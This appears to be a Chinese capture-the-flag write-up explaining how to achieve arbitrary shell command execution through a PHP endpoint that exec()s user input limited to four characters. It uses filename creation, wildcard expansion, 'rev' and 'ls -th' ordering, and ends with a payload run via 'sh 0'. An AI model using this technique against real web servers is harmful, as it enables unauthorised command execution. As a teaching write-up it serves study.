*因为环境有点问题无法复现,无法整体复现

*但是这个trick非常有意思,想分享下

 

 

题目源码:

 

<?php
    error_reporting(E_ALL);
    $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

预备知识:

①输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id
>root
*           (等同于命令:id root)

4位可控字符下的任意命令执行_文件大小


4位可控字符下的任意命令执行_文件名_02

②增加字母来限定被用来当作命令和参数的文件名

>ls
>lss
>lsss
>1
*s       (等同于命令: ls lss lsss)

4位可控字符下的任意命令执行_文件大小_03


4位可控字符下的任意命令执行_文件大小_04

③联合知识点②,通过rev来倒置输出内容

>rev
echo 1234 > v
*v    (等同于命令:rev v)

 

4位可控字符下的任意命令执行_文件名_05


4位可控字符下的任意命令执行_php_06

 

④通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置

 

我们之后需要用到rev 倒置输出

 

所以需要列出这样形式的文件名

0>  t-  sl
>0\>
>t-
>sl

但是实际出现的效果是这样的

4位可控字符下的任意命令执行_文件名_07

 

所以要增加-h来把-t往前拉

>0\>
>ht-
>sl

4位可控字符下的任意命令执行_文件名_08

 

⑤用dir来代替ls不换行输出

 

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点①的命令执行

 

4位可控字符下的任意命令执行_文件名_09

看下dir的效果,会不换行输出到文件中去

4位可控字符下的任意命令执行_文件名_10

 

最后的payload

>dir
>f\>
>ht-
>sl
*>v        (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0        (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0        (sh执行0里面的内容)

可以看到命令被成功执行生成了f文件

4位可控字符下的任意命令执行_文件大小_11